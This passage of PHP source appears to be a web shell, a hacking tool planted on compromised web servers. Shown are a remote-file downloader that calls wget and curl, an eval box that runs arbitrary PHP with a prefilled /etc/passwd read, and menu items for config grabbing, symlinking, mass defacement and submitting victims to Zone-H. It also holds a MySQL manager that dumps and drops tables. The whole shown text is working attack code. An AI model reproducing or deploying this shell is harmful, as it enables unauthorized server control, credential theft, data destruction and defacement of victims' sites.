	$textz = gzinflate(base64_decode($text));
	 if($filez = @fopen($file,"w"))
	 {
		 @fputs($filez,$textz);
		 @fclose($file);
	 }
}

function ambil($link,$file) { 
   if($fp = @fopen($link,"r")){
	   while(!feof($fp)) { 
   		    $cont.= @fread($fp,1024); 
   		} 
   		@fclose($fp); 
	   $fp2 = @fopen($file,"w"); 
	   @fwrite($fp2,$cont); 
	   @fclose($fp2); 
   }
}

function which($pr){
	$path = exe("which $pr");
	if(!empty($path)) { return trim($path); } else { return trim($pr); }
}

function download($cmd,$url){
	$namafile = basename($url);
	switch($cmd) {
		case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
		case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
		case 'wfread' : ambil($wurl,$namafile);break;
		case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
		case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
		case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
		case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
		default: break;
	}
	return $namafile;
}

function get_perms($file)
{
	if($mode=@fileperms($file)){
		$perms='';
		$perms .= ($mode & 00400) ? 'r' : '-';
		$perms .= ($mode & 00200) ? 'w' : '-';
		$perms .= ($mode & 00100) ? 'x' : '-';
		$perms .= ($mode & 00040) ? 'r' : '-';
		$perms .= ($mode & 00020) ? 'w' : '-';
		$perms .= ($mode & 00010) ? 'x' : '-';
		$perms .= ($mode & 00004) ? 'r' : '-';
		$perms .= ($mode & 00002) ? 'w' : '-';
		$perms .= ($mode & 00001) ? 'x' : '-';
		return $perms;
	}
	else return "??????????";
}

function clearspace($text){
	return str_replace(" ","_",$text);
}


?>
<html><head><link rel="SHORTCUT ICON" href="http://oi58.tinypic.com/10r33mq.jpg"><title><?=$title ?> <?=$versi ?></title>
<script type="text/javascript">
function tukar(lama,baru){
	document.getElementById(lama).style.display = 'none';
	document.getElementById(baru).style.display = 'block';
}
</script><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>
<style type="text/css">
body { background-color:transparan;background:#000;background-image: url("<?=$background; ?>");background-position: center;    background-attachment: fixed;background-repeat: no-repeat; } 
a {text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00; 
}
*{
	font-size:11px;
	font-family:Tahoma,Verdana,Arial;
	color:<?=$color; ?>;
}
#menu{
	background-color:transparan;
	margin:8px 2px 4px 2px;
}

#menu a{
	padding:4px 18px;
	margin:0;
	background:#222222;
	text-decoration:none;
	letter-spacing:2px;
	-moz-border-radius: 5px; -moz-box-shadow-webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
	background:#191919;
	border-bottom:1px solid #333333;
	border-top:1px solid #333333;
}

.tabnet{
	margin:15px auto 0 auto;
	border: 1px solid #333333;
	color: #FFCC00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;} 
.msupiani{ font-family:Vivaldi;font-size:50px;color: #00FF00;}
.tabnet{
	margin:15px auto 0 auto;
	border: 1px solid #333333; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.main {
	width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.gaya {
	color: $color;
}
.inputz{
	background:#111111;
	border:0;
	padding:2px;
	border-bottom:1px solid #222222;
	border-top:1px solid #222222; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
} 
.inputzbut{
	background:#111111;
	color:<?=$color; ?>;
	margin:0 4px;
	border:1px solid #444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;

}
.inputz:hover, .inputzbut:hover{
	border-bottom:1px solid #00ff00;
	border-top:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.output {
	margin:auto;
	border:1px solid <?=$color; ?>;
	width:100%;
	height:400px;
	background:#000000;
	padding:0 2px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.cmdbox{
	width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.head_info{ 
	padding: 0 4px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
} 
.exploded{
	font-size:30px;
	padding:0;
	color:#444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.exploded_tbl{
	text-align:center;
	margin:0 4px 0 0;
	padding:0 4px 0 0;
	border-right:1px solid #333333;
}
.phpinfo table{
	width:100%;
	padding:0 0 0 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.phpinfo td{
	background:#111111;
	color:#cccccc;
padding:6px 8px;; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.phpinfo th, th{
	background:#191919;
	border-bottom:1px solid #333333;
font-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.phpinfo h2, .phpinfo h2 a{
	text-align:center;
	font-size:16px;
	padding:0;
	margin:30px 0 0 0;
	background:#222222;
	padding:4px 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore{
width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore th{
padding:3px 8px;
font-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.explore tr:hover{
background:#111111; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.sembunyi{
display:none;
padding:0;margin:0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
}
.jaya{ margin:5px; text-align:right; <?=$color; ?>;}
.footer{ background:#111111; width:99%; padding:5px; margin:10px auto 5px; text-align:center; font-size:13px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ; } 
.footer a{ font-size:14px; }
.footer span{ font-size:14px;}
</style></head>

<body onLoad="document.getElementById('cmd').focus();">
<!-- logout start here -->
<div id="menu"><span style='float:right;'><br>
<?="Time On Server : <b> ".date("d M Y H:i:s",time())."</b>"; ?> <br><br> &nbsp &nbsp  &nbsp &nbsp 
<a href="?<?="y=".$pwd;	?>&amp;x=kill" title='Remove Shell'>Remove</a>
 | 
<a href="?<?="y=".$pwd;	?>&amp;x=logout" title='Logout'>Logout</a> &nbsp &nbsp &nbsp <br><br>
&nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp &nbsp <a href="?<?="y=".$pwd; ?>&amp;x=about"  title='About Author'>About</a>
</span></div>
<!-- logout end here -->
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table><tr>
<td><table class="inputz"><tr><td><a href="" target="blank" onClick="location.reload();"><span class="F0ku5"><img src='<?=$logo; ?>' title="Security Exploded" width="150" height="150"></span></span></a></td></tr><tr><td>
<a href="http://twitter.com/Port22_Exploded" class="twitter-follow-button" data-show-count="false">    Follow @Port22_Exploded</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'http';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script></td></tr></table></td>
<td><?=$buff; ?></td>
</tr></table></div>
<!-- head info end here -->
<!-- menu start --><br>
<center><div id="menu">
<a href="?"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height="18" width="34" title='Home '></a>
<a href="?<?="y=".$pwd; ?>" title='File Explorer'>Files</a>
<a href="?<?="y=".$pwd; ?>&amp;x=upload" title='Upload File'>Uploader</a>
<a href="?<?="y=".$pwd; ?>&amp;x=sql" title='Connect To Database'>MySQL Manager</a><br><br>
<a href="?<?="y=".$pwd; ?>&amp;x=jumping" title='Jumping'>Jumper</a>
<a href="?<?="y=".$pwd; ?>&amp;x=symlink" title='Symlink'>Multi Symlinker</a>
<a href="?<?="y=".$pwd; ?>&amp;x=grabc" title='Config Grabber'>Config Grabber</a><br><br>
<a href="?<?="y=".$pwd; ?>&amp;x=mass" title='Deface To All Folder'>Mass Directory Defacer</a>
<a href="?<?="y=".$pwd; ?>&amp;x=zone" title='Submit Victim To Zone-H'>Zone-H Submiter</a>
</div></center><br>
<!-- menu end -->
<?php
@ini_set('display_errors', 0);
@ini_set('output_buffering',0);

if(isset($_GET['x']) && ($_GET['x'] == 'kill')) {
	
	echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>Shell Killer</font></b></center></td></tr></table>
";

echo '<center><br><font style="color:<?=$color; ?>">Do You Really Want To Delete This Shell ?</b></center><br>';
?>
<center>
<div id="menu">
<a  href="?<?="y=".$pwd;?>&amp;x=killit" title='Remove Shell' >Yes, I Want</font></a> &nbsp;&nbsp;&nbsp;&nbsp; 
<a  href="<?=$_SERVER['PHP_SELF']; ?>">Cancel</a></b></center><br><br>
</div>
<?php
}
if(isset($_GET['x']) && ($_GET['x'] == 'killit')) {
$file = $_SERVER['PHP_SELF'];
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Shell Has Been Killed... Take Care And Stay Safe</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
else
echo '<font color="#fff600" size="2pt">Unlink Error !</font>';

}
/////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'php'))
{
@ini_set('output_buffering',0);
echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>Eval</font></b></center></td></tr></table>
";
 ?>

<form action="?y=<?=$pwd; ?>&amp;x=php" method="post">
<table class="tabnet" style="width:800px;height:300px">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
	echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:800px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>

<?php }

/////////////////////////////
///////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sql')){
	echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>MySQL Manager</font></b></center></td></tr></table>
";
function view_size($size) {
  if (!is_numeric($size)) { return FALSE; }
  else {
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
  }
}
function mysql_dump($set) {
  $sock = $set["sock"];
  $db = $set["db"];
  $print = $set["print"];
  $nl2br = $set["nl2br"];
  $file = $set["file"];
  $add_drop = $set["add_drop"];
  $tabs = $set["tabs"];
  $onlytabs = $set["onlytabs"];
  $ret = array();
  $ret["err"] = array();
  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  if (empty($db)) {$db = "db";}
  if (empty($print)) {$print = 0;}
  if (empty($nl2br)) {$nl2br = 0;}
  if (empty($add_drop)) {$add_drop = TRUE;}
  if (empty($file)) {
$file = $tmp_dir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  }
  if (!is_array($tabs)) {$tabs = array();}
  if (empty($add_drop)) {$add_drop = TRUE;}
  if (sizeof($tabs) == 0) {
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  }
  $out = "
  # Dumped By ".$xName."
  # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  # Date: ".date("d.m.Y H:i:s")."
  # DB: \"".$db."\"
  #---------------------------------------------------------";
  $c = count($onlytabs);
  foreach($tabs as $tab) {
if ((in_array($tab,$onlytabs)) or (!$c)) {
  if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
  $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  if (!$res) {$ret["err"][] = mysql_smarterror();}
  else {
$row = mysql_fetch_row($res);
$out .= $row["1"].";

";
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0) {
  while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
";
$out .= $sql;
  }
}
  }
}
  }
  $out .= "#---------------------------------------------------------------------------------

";
  if ($file) {
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else {
  fwrite ($fp, $out);
  fclose ($fp);
}
  }
  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  return $out;
}
function mysql_buildwhere($array,$sep=" and",$functs=array()) {
  if (!is_array($array)) {$array = array();}
  $result = "";
  foreach($array as $k=>$v) {
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
  }
  $result = substr($result,0,strlen($result)-strlen($sep));
  return $result;
}
function mysql_fetch_all($query,$sock) {
  if ($sock) {$result = mysql_query($query,$sock);}
  else {$result = mysql_query($query);}
  $array = array();
  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  mysql_free_result($result);
  return $array;
}
function mysql_smarterror($sock) {
  if ($sock) { $error = mysql_error($sock); }
  else { $error = mysql_error(); }
  $error = htmlspecialchars($error);
  return $error;
}
function mysql_query_form() {
  global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
  if ((!$submit) or ($sql_x)) {
echo "<table><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
if ($tbl_struct) {
  echo "<td valign=\"top\"><b>Fields:</b><br>";
  foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  echo "</td></tr></table>";
}
  }
  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
function mysql_create_db($db,$sock="") {
  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  if ($sock) {return mysql_query($sql,$sock);}
  else {return mysql_query($sql);}
}
function mysql_query_parse($query) {
  $query = trim($query);
  $arr = explode (" ",$query);
  $types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
  );
  $result = array();
  $op = strtoupper($arr[0]);
  if (is_array($types[$op])) {
$result["propertions"] = $types[$op];
$result["query"]  = $query;
if ($types[$op] == 2) {
  foreach($arr as $k=>$v) {
if (strtoupper($v) == "LIMIT") {
  $result["limit"] = $arr[$k+1];
  $result["limit"] = explode(",",$result["limit"]);
  if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  unset($arr[$k],$arr[$k+1]);
}
  }
}
  }
  else { return FALSE; }
}
function disp_error($msg) { echo "<div class=errmsg>$msg</div>
"; }
function html_style() {
$style = ' <style type="text/css"> a { text-decoration:none; } a:hover { color: #00ff00; border-bottom:1px solid #00ff00; } input[type="text"], input[type="password"], select{ background:#111111; border:0; padding:2px; border:1px solid #444444; } input[type="submit"]{ background:#111111; color:#ffffff; margin:0 4px; border:1px solid #444444;} input[type="text"]:hover, input[type="submit"]:hover, input[type="password"]:hover, select:hover{ border-bottom:1px solid #00ff00;border-top:1px solid #00ff00;} .tab { width:100%; } th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .tub { width:100%; }  .tub th{ border-bottom:1px solid #00ff00; padding:3px;} .tub tr:hover{ background:#006400; } .tub td{ border-bottom:1px solid #333333; padding-left:3px; } #maininfo { padding:5px; margin-top:10px; margin-left:2px; margin-right:2px; background:#191919; } #maininfo a{ color:#00ff00; } textarea { background:#000000; border:1px solid #444444;} textarea:hover { border:1px solid #00ff00;} </style><center>';
return $style;
}
$auto_surl = TRUE;
foreach ($_REQUEST as $k => $v) {
  if (!isset($$k)) { $$k = $v; }
}
if ($auto_surl) {
  $include = "&";
  foreach (explode("&",getenv("QUERY_STRING")) as $v) {
$v= explode("=",$v);
$name= urldecode($v[0]);
$value= @urldecode($v[1]);
$needles = array("http://","https://","ssl://","ftp://","\");
foreach ($needles as $needle) {
  if (strpos($value,$needle) === 0) {
$includestr .= urlencode($name)."=".urlencode($value)."&";
  } } } }
if (empty($surl)) { $surl = htmlspecialchars("?".@$includestr); }
if (!isset($x)) { $x = "sql"; }
  if ($x == "sql") {
  foreach (array("sort","sql_sort") as $v) {
if (!empty($_GET[$v])) { $$v = $_GET[$v]; }
if (!empty($_POST[$v])) { $$v = $_POST[$v]; }
  }
  if ($sort_save) {
if (!empty($sort)) { setcookie("sort",$sort); }
if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); }
  }
  if (!isset($sort)) { $sort = $sort_default; }
  $sort = htmlspecialchars($sort);
  $sort[1] = strtolower($sort[1]);
  echo html_style();
echo "<div id='maininfo'>";
  if ($x == "sql") {
  $sql_surl = $surl."x=sql";
  if (!isset($sql_login)) { $sql_login = ""; }
  if (!isset($sql_passwd)) { $sql_passwd = ""; }
  if (!isset($sql_server)) { $sql_server = ""; }
  if (!isset($sql_port)) { $sql_port = ""; }
  if (!isset($sql_tbl)) { $sql_tbl = ""; }
  if (!isset($sql_x)) { $sql_x = ""; }
  if (!isset($sql_tbl_x)) { $sql_tbl_x = ""; }
  if (!isset($sql_order)) { $sql_order = ""; }
  if (!isset($sql_x)) { $sql_x = ""; }
  if (!isset($sql_getfile)) { $sql_getfile = ""; }
  if (@$sql_login)  { $sql_surl .= "&sql_login=".htmlspecialchars($sql_login); }
  if (@$sql_passwd) { $sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd); }
  if (@$sql_server) { $sql_surl .= "&sql_server=".htmlspecialchars($sql_server); }
  if (@$sql_port){ $sql_surl .= "&sql_port=".htmlspecialchars($sql_port); }
  if (@$sql_db) { $sql_surl .= "&sql_db=".htmlspecialchars($sql_db); }
  $sql_surl .= "&";
  echo "";
  if (@$sql_server) {
$sql_sock = @mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror($sql_sock);
@mysql_select_db($sql_db,$sql_sock);
if (@$sql_query and $submit) {
  $sql_query_result = mysql_query($sql_query,$sql_sock);
  $sql_query_error = mysql_smarterror($sql_sock);
}
  }
  else { $sql_sock = FALSE; }
  if (!$sql_sock) {
if (!@$sql_server) { echo "<blink><b><font style= color:#ff0000>No Connection ! ! !</font></b></blink>"; }
else { disp_error("ERROR: ".$err); }
  }
  else {
#SQL Quicklaunch
$sqlquicklaunch= array();
$sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
$sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
$sqlquicklaunch[] = array("Logout",$surl."x=sql");
echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
if (count($sqlquicklaunch) > 0) {
  foreach($sqlquicklaunch as $item) {
echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
  }
  }
  }
echo "</div>";
echo "<center><table class='tab'><tr>";
  if (!$sql_sock) {
  echo  '<td>
<form name="f_sql" action="'.$surl.'x=sql" method="POST">
<input type="hidden" name="x" value="sql">
<table class="tabnet" style="padding:1px;">
<tr><th colspan="2"><b>MySQL Manager</b></th></tr>
<tr><td>Host</td><td><input type="text" name="sql_server" class="inputz" style="width:249px;background:black" value="localhost"></td></tr>
<tr><td>Username</td><td><input type="text" name="sql_login" class="inputz" value="" style="width:249px;background:black"></td></tr>
<tr><td>Password</td><td><input type="password" name="sql_passwd" class="inputz" value="" style="width:249px;background:black;"></td></tr>
<tr><td>Database</td><td><input type="text" name="sql_db" value="" class="inputz" style="width:249px;background:black"></td></tr>
<tr><td>Port</td><td><input type="text" name="sql_port"  class="inputz" value="3306" style="background:black;" size="6"> <input type="submit" class="inputzbut" style=color:$color value="Connect"></td></tr>
</table>
</form>';
  }
  else {
  echo  '<td valign="top" style="border:1px solid #333333;">
<center>
<a href="'.$sql_surl.'"><b style="color:#00ff00;">HOME</b></a>
<hr size="1" noshade>';
  $result = mysql_list_dbs($sql_sock);
  if (!$result) { echo mysql_smarterror(); }
  else {
  echo  '<form action="'.$surl.'x=sql">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
<select name="sql_db" onchange="this.form.submit()" style="width:100%;">';
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {
  $dbs .= "		<option value=\"".$row[0]."\"";
  if (@$sql_db == $row[0]) { $dbs .= " selected"; }
  $dbs .= ">".$row[0]."</option>
";
  $c++;
}
echo "		<option value=\"\">Databases (".$c.")</option>
";
echo $dbs;
  }
echo '</select>
<hr size="1" noshade>
</form>
</center>';
if (isset($sql_db)) {
  $result = mysql_list_tables($sql_db);
  if (!$result) { 
$result = mysql_list_dbs($sql_sock);
$num = mysql_num_rows($result);
for( $i = 0; $i < $num; $i++ ) {
$dbname = mysql_dbname( $result, $i );
echo "<table class='tab'><td style='background:#3F3F3F;border:1px solid #202020;border-top: 1px solid #505050;border-left: 1px solid #505050;'><b>+ <a href=\"".$sql_surl."sql_db=".$dbname."\">$dbname</a></b></td></table>"; } }
  else {
echo "	<table class='tub'><th><a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a></th></table><br>
";
$c = 0;
while ($row = mysql_fetch_array($result)) {
  $count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]);
  $count_row = mysql_fetch_array($count);
  echo "	<b>+ <a style='color:#00ff00;' href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a></b> (".$count_row[0].")</br></b>
";
  mysql_free_result($count);
  $c++;
}
if (!$c) { echo "No tables found in database"; }
  }
}
echo '</td>';
echo '<td style="border:1px solid #333333;">';
$diplay = TRUE;
if (@$sql_db) {
  if (!is_numeric($c)) { $c = 0; }
  if ($c == 0) { $c = "no"; }
  echo "	<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db)."";
  if (count(@$dbquicklaunch) > 0) {
foreach($dbsqlquicklaunch as $item) {
  echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
}
  }
  echo "</b></center>
";
  $xs = array("","dump");
  if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
";} $sql_x = "query";}
  elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
  elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
